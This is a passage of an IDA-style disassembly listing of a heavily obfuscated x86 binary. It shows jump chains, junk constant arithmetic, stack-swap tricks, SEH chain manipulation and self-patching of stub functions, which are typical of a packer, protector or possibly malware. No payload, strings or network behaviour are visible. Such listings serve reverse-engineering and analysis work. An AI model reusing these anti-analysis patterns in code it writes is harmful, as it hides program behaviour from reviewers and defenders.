; END OF FUNCTION CHUNK	FOR sub_44B624
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451180

loc_44C39A:				; CODE XREF: sub_451180:loc_444839j
		call	sub_44B27C
		push	offset sub_442913
		jmp	nullsub_508
; END OF FUNCTION CHUNK	FOR sub_451180
; ---------------------------------------------------------------------------

loc_44C3A9:				; CODE XREF: dviuq5id:00453F2Fj
		add	ebx, 1AB39735h
		or	ebx, 3821FA47h
		add	ebx, 7A543D7h
		xor	eax, ebx
		pop	ebx
		push	esi
		jmp	loc_44A174
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4F8

loc_44C3C4:				; CODE XREF: sub_43F4F8:loc_4401D1j
		push	17262415h
		pop	edx
		add	edx, 0CCDC0FD3h
		cmp	edx, 0BC9427A3h
		jmp	loc_4466E4
; END OF FUNCTION CHUNK	FOR sub_43F4F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442E4F

loc_44C3DB:				; CODE XREF: sub_442E4F+8j
		call	sub_4571A7
		mov	eax, 320057C2h
		call	sub_44A58C
		mov	ds:off_41D018, eax
		lea	eax, loc_449F09
		call	sub_442C59

loc_44C3FB:				; CODE XREF: sub_43FDFB:loc_43B9E3j
		jmp	loc_44972F
; END OF FUNCTION CHUNK	FOR sub_442E4F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_124. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E828

loc_44C401:				; CODE XREF: sub_43E828:loc_4392C8j
		jnz	loc_44ECFD
		jmp	loc_44905D
; END OF FUNCTION CHUNK	FOR sub_43E828
; ---------------------------------------------------------------------------

loc_44C40C:				; CODE XREF: dviuq5id:004585CCj
		and	ecx, 1F18DE7Fh
		add	esi, ebx

loc_44C414:				; CODE XREF: dviuq5id:loc_43CAFAj
		call	sub_456F43
		push	0C52A13D2h
		pop	edx
		jmp	loc_44B153
; ---------------------------------------------------------------------------
		call	sub_441C54
		or	eax, eax
		jnz	loc_43AAC0

loc_44C431:				; CODE XREF: dviuq5id:loc_453AF8j
		jmp	loc_44180D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_44C436:				; CODE XREF: sub_439C09:loc_4598DDj
		jz	loc_4490AD
		jmp	loc_44D772
; END OF FUNCTION CHUNK	FOR sub_439C09

; =============== S U B	R O U T	I N E =======================================



sub_44C441	proc near		; CODE XREF: sub_441F76+2670p
					; dviuq5id:0045A40Ej

; FUNCTION CHUNK AT 0044133B SIZE 00000017 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jmp	loc_44133B
sub_44C441	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45383B

loc_44C451:				; CODE XREF: sub_45383B-29E9j
		shr	ecx, 1Ah
		xchg	eax, ecx

loc_44C456:				; CODE XREF: sub_45383B:loc_45A4DAj
		pop	large dword ptr	fs:0
		add	esp, 4
		jmp	loc_4536B9
; END OF FUNCTION CHUNK	FOR sub_45383B
; ---------------------------------------------------------------------------

loc_44C465:				; CODE XREF: dviuq5id:0043A3A5j
		rol	eax, 1
		sub	ebx, 0AA6F102Dh
		shl	ebx, 0Dh

loc_44C470:				; CODE XREF: dviuq5id:loc_43AC3Bj
		lea	eax, [ebp-12Dh]
		jmp	loc_44DD23
; ---------------------------------------------------------------------------

loc_44C47B:				; CODE XREF: dviuq5id:loc_439BF9j
		call	sub_44CA9A
		push	59097075h
		pop	eax
		sub	eax, 26B1D89Fh
		test	eax, 20000h
		jmp	loc_44EDD6
; ---------------------------------------------------------------------------

loc_44C497:				; CODE XREF: dviuq5id:0045405Fj
		cmp	esi, ecx
		jmp	loc_455E27
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_163. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450E57

loc_44C49F:				; CODE XREF: sub_450E57+6j
		pop	ebp
		push	4D6D043Eh
		pop	eax
		and	eax, 1E9EB4A6h
		or	eax, 0F5B1CD6h
		add	eax, 828941CCh
		jmp	loc_43A8C6
; END OF FUNCTION CHUNK	FOR sub_450E57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44460F

loc_44C4BD:				; CODE XREF: sub_44460F:loc_457A17j
		or	edi, 6BC6E8AEh
		and	edi, 58787FE0h
		rol	edi, 16h
		xor	edi, 7812161Ah
		xchg	edi, [esp+0Ch+var_C]
		push	0
		jmp	loc_454615
; END OF FUNCTION CHUNK	FOR sub_44460F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_57. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440F76

loc_44C4DD:				; CODE XREF: sub_440F76+3j
		jmp	sub_43938B
; END OF FUNCTION CHUNK	FOR sub_440F76

; =============== S U B	R O U T	I N E =======================================



sub_44C4E2	proc near		; CODE XREF: sub_43FBEA+1538Cp
					; dviuq5id:00456101j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439ECF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446616 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00448076 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044A423 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044A98D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044E0F4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00450ED7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00451364 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004521E4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045289C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00456AB4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00457B84 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00458DFF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0045A16C SIZE 0000001C BYTES

		xchg	eax, [esp+4+var_4]
		pop	eax
		push	esi
		push	5B8EED09h
		pop	esi
		xor	esi, 0FF260A64h
		sub	esi, 5E164443h
		jnb	loc_456AB4

loc_44C4FF:				; CODE XREF: sub_454E7C-F2B8j
		jmp	loc_44A423
sub_44C4E2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45345A

loc_44C504:				; CODE XREF: sub_45345A:loc_44359Dj
		jnb	loc_444FBD
; END OF FUNCTION CHUNK	FOR sub_45345A

; =============== S U B	R O U T	I N E =======================================



sub_44C50A	proc near		; CODE XREF: sub_448B3E-7BF8p

; FUNCTION CHUNK AT 0043CF5E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442D98 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443BE6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00445595 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044A251 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00450993 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00452A07 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00452F8B SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00459093 SIZE 00000012 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	0D1437423h
		pop	ecx
		jmp	loc_450993
sub_44C50A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452D9B

loc_44C519:				; CODE XREF: sub_452D9B:loc_45114Cj
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_4448F6
		jmp	loc_454F90
; END OF FUNCTION CHUNK	FOR sub_452D9B

; =============== S U B	R O U T	I N E =======================================



sub_44C528	proc near		; CODE XREF: dviuq5id:0044D1B6j
					; sub_45327C+8p

; FUNCTION CHUNK AT 0043F12E SIZE 0000000A BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	ecx
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	al, [eax]
		jmp	loc_43F12E
sub_44C528	endp


; =============== S U B	R O U T	I N E =======================================



sub_44C53A	proc near		; CODE XREF: dviuq5id:0044B434p
					; dviuq5id:0044EF3Ej
		xchg	ebx, [esp+0]
		pop	ebx
		push	eax

loc_44C53F:				; CODE XREF: dviuq5id:loc_4560EEj
		ror	eax, 0Eh
sub_44C53A	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_449C2A

loc_44C542:				; CODE XREF: sub_449C2A-AFABj
		mov	ds:dword_43F06C, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_449C2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446CFB

loc_44C549:				; CODE XREF: dviuq5id:00447B5Dj
					; sub_446CFB+12458j
		rol	eax, 0Eh
		push	eax
		jmp	loc_44A571
; END OF FUNCTION CHUNK	FOR sub_446CFB
; ---------------------------------------------------------------------------

loc_44C552:				; CODE XREF: dviuq5id:00444B7Ej
		pop	eax
		add	eax, 0B6FEB321h
		rol	eax, 8
		and	eax, 4B20A729h
		jmp	loc_44C0BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443A0A

loc_44C567:				; CODE XREF: sub_443A0A+1Bj
		test	eax, 1000000h
		jmp	loc_44A293
; END OF FUNCTION CHUNK	FOR sub_443A0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44279B

loc_44C572:				; CODE XREF: sub_44279B:loc_444160j
		push	9AA99B87h
		pop	edx
		rol	edx, 17h
		sub	edx, 65FF72FCh

loc_44C581:				; CODE XREF: sub_44E1C0:loc_454C00j
		xor	edx, 0E6A9EEF9h
		cmp	edx, 5CF8CA57h

loc_44C58D:				; CODE XREF: dviuq5id:0044FCA1j
		jmp	loc_43F82B
; END OF FUNCTION CHUNK	FOR sub_44279B

; =============== S U B	R O U T	I N E =======================================



sub_44C592	proc near		; CODE XREF: sub_43FA59+10E64p
					; dviuq5id:00452930j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043C58C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043D0D0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043D3E5 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0043EE44 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F59A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444B83 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00444C83 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004482F2 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044ABC0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C168 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C803 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00454D96 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0045798B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0045A0E9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045A3ED SIZE 00000016 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	ebx
		push	2737CDF1h
		pop	ebx
		xor	ebx, 93567E2Fh
		or	ebx, 8BD6D4C2h
		jmp	loc_43F59A
sub_44C592	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450B01

loc_44C5AE:				; CODE XREF: sub_450B01-16905j
		call	sub_457E13

locret_44C5B3:				; CODE XREF: sub_44E255+578Fj
		retn
; END OF FUNCTION CHUNK	FOR sub_450B01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F9E7

loc_44C5B4:				; CODE XREF: sub_43F9E7+12j
		jmp	loc_4587A8
; END OF FUNCTION CHUNK	FOR sub_43F9E7
; ---------------------------------------------------------------------------

loc_44C5B9:				; CODE XREF: dviuq5id:00452A1Dj
		jz	loc_43F2EC
		sbb	edi, ecx
		jmp	loc_452F85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E10E

loc_44C5C6:				; CODE XREF: sub_43E10E+1FE5j
		add	ecx, 52D7B714h
		sub	ecx, 0BD725375h
		add	ecx, 924A7809h
		xchg	ecx, [esp+0]
		jmp	loc_43C7F5
; END OF FUNCTION CHUNK	FOR sub_43E10E
; ---------------------------------------------------------------------------
		sub	ecx, edx
		jmp	sub_453046
; ---------------------------------------------------------------------------

loc_44C5E7:				; CODE XREF: dviuq5id:00452DC7j
		test	edi, edx
		jmp	loc_44E9E1
; ---------------------------------------------------------------------------
		test	al, al
		jz	loc_43E782
		jmp	loc_43A0AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443AC1

loc_44C5FB:				; CODE XREF: sub_443AC1:loc_44E72Dj
		push	eax
		call	sub_44AB80
		jmp	loc_45811F
; END OF FUNCTION CHUNK	FOR sub_443AC1
; ---------------------------------------------------------------------------
		push	4093742Dh
		xchg	edx, [esp]
		mov	eax, edx
		jmp	loc_43C322
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45169D

loc_44C615:				; CODE XREF: sub_45169D:loc_456782j
		jnz	loc_4440B7
		jmp	loc_4534C7
; END OF FUNCTION CHUNK	FOR sub_45169D

; =============== S U B	R O U T	I N E =======================================



sub_44C620	proc near		; DATA XREF: dviuq5id:0043CE2Fo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0045A2FC SIZE 00000005 BYTES

		push	edi
		mov	edi, ebx
		xchg	edi, [esp+4+var_4]
		push	offset loc_445F81
		jmp	loc_45A2FC
sub_44C620	endp

; ---------------------------------------------------------------------------

loc_44C630:				; CODE XREF: dviuq5id:00439F9Cj
		and	edx, 0E23AB2B6h
		sub	edx, 0EC56C1B4h
		xor	edx, 98DA6372h
		sub	edx, 0FAB9254Ch
		cmp	edx, 40D24E60h
		jmp	loc_44140A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AA4C

loc_44C653:				; CODE XREF: sub_43AA4C+15j
					; dviuq5id:0043F3B5j
		add	edi, 70854988h
		xchg	edi, [esp-4+arg_0]
		jmp	sub_44C6ED
; END OF FUNCTION CHUNK	FOR sub_43AA4C
; ---------------------------------------------------------------------------
		push	esi
		mov	esi, eax
		xchg	esi, [esp]
		mov	eax, [ebp-8]
		push	eax
		jmp	loc_44BC37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449485

loc_44C670:				; CODE XREF: sub_449485-4D7Aj
		and	ecx, 0E846F9FAh
		pop	ebx
		xchg	edx, [edi]
		jmp	loc_43F859
; END OF FUNCTION CHUNK	FOR sub_449485
; ---------------------------------------------------------------------------

loc_44C67E:				; CODE XREF: dviuq5id:0044C84Aj
		add	edx, 25D1BED0h
		mov	[edx], eax
		pop	edx
		retn
; ---------------------------------------------------------------------------

loc_44C688:				; CODE XREF: dviuq5id:00458DF4j
		rol	eax, 4
		call	sub_43C53D
; START	OF FUNCTION CHUNK FOR sub_45861F

loc_44C690:				; CODE XREF: sub_45861F+22j
		jmp	loc_44A8F8
; END OF FUNCTION CHUNK	FOR sub_45861F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B624

loc_44C695:				; CODE XREF: sub_44B624+D71j
		jnz	loc_4496C0

loc_44C69B:				; CODE XREF: sub_44B624:loc_4411FCj
		push	59D4BDBEh
		pop	eax
		and	eax, 0BE7D9E10h
		sub	eax, 0C3782748h
		jmp	loc_43D8C9
; END OF FUNCTION CHUNK	FOR sub_44B624
; ---------------------------------------------------------------------------

loc_44C6B2:				; CODE XREF: dviuq5id:00457FBCj
		sbb	ecx, 0BB3185E2h

; =============== S U B	R O U T	I N E =======================================



sub_44C6B8	proc near		; CODE XREF: sub_43C2DA+150FFp

; FUNCTION CHUNK AT 0043905D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043A188 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043DEA6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043E9A9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043EA79 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043F0DE SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004444B6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444A76 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004493B1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004495D8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044FE8F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044FEDC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00450745 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00452CF2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00453085 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00457717 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00457C04 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00458FF3 SIZE 0000000E BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	0C771018Eh

loc_44C6C1:				; CODE XREF: sub_44B301-7A55j
		jmp	loc_4493B1
sub_44C6B8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443F7F

loc_44C6C6:				; CODE XREF: sub_443F7F+15BDEj
		jnz	loc_43ABA4

loc_44C6CC:				; CODE XREF: sub_43BA0E+84B3j
		jmp	loc_44815D
; END OF FUNCTION CHUNK	FOR sub_443F7F
; ---------------------------------------------------------------------------
		and	edx, ecx
		jmp	loc_43CAF1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45031E

loc_44C6D8:				; CODE XREF: sub_45031E+7j
		xchg	ebx, [esp+0]
		push	eax
		push	0FB0F267Eh
		pop	eax
		jmp	loc_4421FC
; END OF FUNCTION CHUNK	FOR sub_45031E
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_44C6E8:				; CODE XREF: sub_439013+1DA53j
		jmp	loc_454893
; END OF FUNCTION CHUNK	FOR sub_439013

; =============== S U B	R O U T	I N E =======================================



sub_44C6ED	proc near		; CODE XREF: sub_43C2DA:loc_439D2Dj
					; dviuq5id:0043BC45p ...

; FUNCTION CHUNK AT 00441933 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DAE4 SIZE 0000000A BYTES

		jno	sub_445E83
		push	ebp
		mov	ebp, esp
		jmp	loc_441933
sub_44C6ED	endp

; ---------------------------------------------------------------------------

loc_44C6FB:				; CODE XREF: dviuq5id:loc_459365j
		jz	loc_446739
		jmp	loc_454500
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452E2A

loc_44C706:				; CODE XREF: sub_452E2A:loc_452FB0j
		push	0DD76D877h
		pop	ebx
		sub	ebx, 0AF615571h
		xor	ebx, 84237504h
		sub	ebx, 60269C01h
		or	ebx, 17AC5B85h
		xor	ebx, 17E4AAF0h
		jmp	loc_439E59
; END OF FUNCTION CHUNK	FOR sub_452E2A
; ---------------------------------------------------------------------------
		add	ebx, 0DEE2C02Dh
		jmp	sub_44DFA2
; ---------------------------------------------------------------------------

loc_44C73A:				; CODE XREF: dviuq5id:loc_452842j
		push	5423F679h
		pop	edx
		xor	edx, 0AE277676h
		rol	edx, 18h
		sub	edx, 0C5A4E9C0h
		add	edx, 0B5F079C5h
		jmp	loc_44C9F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4437A9

loc_44C75A:				; CODE XREF: sub_4437A9+Bj
		rol	eax, 18h
		add	eax, 4D35D41Ch
		add	eax, ebp
		add	eax, 7B92EAD5h
		popf
		push	ebp
		mov	ebp, eax
; END OF FUNCTION CHUNK	FOR sub_4437A9
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_44C76F:				; CODE XREF: sub_4525D0:loc_457EAFj
		call	sub_440223
; END OF FUNCTION CHUNK	FOR sub_4525D0
; START	OF FUNCTION CHUNK FOR sub_44B624

loc_44C774:				; CODE XREF: sub_44B624+6BE0j
		jmp	loc_445FDD
; END OF FUNCTION CHUNK	FOR sub_44B624
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449704

loc_44C779:				; CODE XREF: sub_449704+3j
		jmp	sub_44A203
; END OF FUNCTION CHUNK	FOR sub_449704
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E816

loc_44C77E:				; CODE XREF: sub_43E816+5j
		jmp	loc_43AB37
; END OF FUNCTION CHUNK	FOR sub_43E816
; ---------------------------------------------------------------------------

loc_44C783:				; CODE XREF: dviuq5id:0043E7A4j
		jmp	sub_43D7C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C2DA

loc_44C788:				; CODE XREF: sub_43C2DA+1164Fj
		pop	esi
		xor	esi, 23FD1306h
		cmp	esi, 5DCCBDACh
		jmp	loc_43E9F6
; END OF FUNCTION CHUNK	FOR sub_43C2DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446544

loc_44C79A:				; CODE XREF: sub_446544:loc_4460EFj
		xchg	eax, edx
		jmp	loc_44BD84
; END OF FUNCTION CHUNK	FOR sub_446544

; =============== S U B	R O U T	I N E =======================================



sub_44C7A1	proc near		; DATA XREF: dviuq5id:0043EEEDo

; FUNCTION CHUNK AT 004427D0 SIZE 00000005 BYTES

		call	sub_45A310
		mov	eax, 8D800AAh
		call	sub_453642
		mov	ds:dword_41D190, eax
		lea	eax, nullsub_473
		mov	byte ptr [eax],	0C3h
		jmp	loc_4427D0
sub_44C7A1	endp

; ---------------------------------------------------------------------------

loc_44C7C4:				; CODE XREF: dviuq5id:loc_459649j
					; dviuq5id:00459666j
		sub	ebx, 0D1042225h
		and	ebx, 0A6FC292Bh
		sub	ebx, 48A18684h
		add	ebx, 0A244EFAAh
		xchg	ebx, [esp]
		jmp	loc_44F9E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4530D9

loc_44C7E4:				; CODE XREF: sub_4530D9+9j
		call	sub_442503
		mov	eax, [esp+0]
		call	sub_44E3BA
		retn
; END OF FUNCTION CHUNK	FOR sub_4530D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_44C7F2:				; CODE XREF: sub_440898+BD0j
		jmp	loc_43C645
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C378

loc_44C7F7:				; CODE XREF: sub_44C378+5j
		push	edi
		push	313835Dh
		pop	edi
		jmp	loc_4450AB
; END OF FUNCTION CHUNK	FOR sub_44C378
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C592

loc_44C803:				; CODE XREF: dviuq5id:0043C98Bj
					; sub_44C592:loc_444C83j
		rol	ecx, 14h
		call	sub_4422EC

loc_44C80B:				; CODE XREF: dviuq5id:0043F70Bj
		sbb	ecx, edx
; END OF FUNCTION CHUNK	FOR sub_44C592

; =============== S U B	R O U T	I N E =======================================



sub_44C80D	proc near		; CODE XREF: sub_43FA59:loc_449831p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043B462 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004432DF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444FF3 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00445E77 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00448D6D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044CFCD SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0044FF02 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00452885 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457F83 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00458860 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00458A98 SIZE 0000000D BYTES

		xchg	edi, [esp-4+arg_0]
		pop	edi
		push	0A8D3D4ABh
		pop	eax
		add	eax, 74BF4BF5h
		sub	eax, 526E676Bh
		add	eax, 0F276CD72h
		jmp	loc_444FF3
sub_44C80D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44C82E:				; CODE XREF: dviuq5id:loc_43D3B7j
		xchg	ebp, [esp]
		ror	eax, 4
		push	edx
		push	4134AC66h
		pop	edx
		xor	edx, 2490FE7Ah
		sub	edx, 0D587E4E3h
		rol	edx, 11h
		jmp	loc_44C67E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455400

loc_44C84F:				; CODE XREF: sub_455400:loc_43A792j
		jnb	loc_43E7F1
		jmp	loc_4500BC
; END OF FUNCTION CHUNK	FOR sub_455400

; =============== S U B	R O U T	I N E =======================================



sub_44C85A	proc near		; CODE XREF: dviuq5id:0043BD49j
					; dviuq5id:0044B7E7p

; FUNCTION CHUNK AT 00459E1D SIZE 00000019 BYTES

		xchg	edx, [esp+0]
		pop	edx
		call	sub_4571A7
		mov	eax, 86B13FACh
		jmp	loc_459E1D
sub_44C85A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_44C86D:				; CODE XREF: sub_440898:loc_4423ECj
		push	358B3BAEh
		pop	eax
		and	eax, 45B2505Eh
		test	eax, 800000h
		jmp	loc_456ACA
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------

loc_44C884:				; CODE XREF: dviuq5id:00456F18j
		call	sub_453642
		mov	ds:dword_41D0A0, eax
		lea	eax, nullsub_471
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_471
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 0FFAF00E9h
		db 0FFh
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_46. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		xchg	ecx, ebx
		jmp	loc_43ECD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450686

loc_44C8AD:				; CODE XREF: sub_450686:loc_4435F7j
					; sub_43A919:loc_453B46j
		call	sub_443CFF

loc_44C8B2:				; CODE XREF: sub_458906:loc_458910j
		jmp	nullsub_306
; END OF FUNCTION CHUNK	FOR sub_450686
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_332. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44C8B8:				; CODE XREF: dviuq5id:00457353j
		jmp	locret_440ADE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F11D

loc_44C8BD:				; CODE XREF: sub_44F11D:loc_43E6DEj
		mov	esi, edx
		jmp	loc_44375A
; END OF FUNCTION CHUNK	FOR sub_44F11D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_497. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_44C8C5	proc near		; CODE XREF: dviuq5id:00456D49j
					; sub_4489F3+E488p
		xchg	ecx, [esp+0]
		pop	ecx
		inc	dword ptr [ebp-8]

loc_44C8CC:				; CODE XREF: sub_4489F3+98E8j
					; sub_4489F3+98F1j
		mov	eax, [ebp-8]
		push	offset loc_453705
		jmp	nullsub_82
sub_44C8C5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454117

loc_44C8D9:				; CODE XREF: sub_454117+39C5j
		mov	edx, [edi]
		shl	ebx, 18h
		jmp	loc_45315A
; END OF FUNCTION CHUNK	FOR sub_454117

; =============== S U B	R O U T	I N E =======================================



sub_44C8E3	proc near		; CODE XREF: dviuq5id:00439591j
					; sub_451D31+5280p

; FUNCTION CHUNK AT 00439FD8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B8DB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0045356A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00456F7A SIZE 0000000C BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	ebx
		push	eax
		pop	ebx
		xchg	ebx, [esp+0]
		call	sub_457942

loc_44C8F2:				; CODE XREF: dviuq5id:0044F4AAj
		jmp	loc_45356A
sub_44C8E3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_44C8F7:				; CODE XREF: sub_44EAC4-9414j
		jmp	sub_451D52
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4402E1

loc_44C8FC:				; CODE XREF: sub_4402E1+5j
		jmp	loc_43D04F
; END OF FUNCTION CHUNK	FOR sub_4402E1
; ---------------------------------------------------------------------------

locret_44C901:				; CODE XREF: dviuq5id:loc_457700j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4560AC

loc_44C902:				; CODE XREF: sub_4560AC-10695j
		jmp	nullsub_497
; END OF FUNCTION CHUNK	FOR sub_4560AC
; ---------------------------------------------------------------------------

loc_44C907:				; CODE XREF: dviuq5id:0043A4ACj
		jmp	loc_451B42
; ---------------------------------------------------------------------------
		not	edx
		jmp	sub_45031E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449EB7

loc_44C913:				; CODE XREF: sub_449EB7:loc_451E94j
		pop	edi
		sub	ebx, 0A8DA3C49h
		cmp	ebx, 4851587Eh
		jmp	loc_44273E
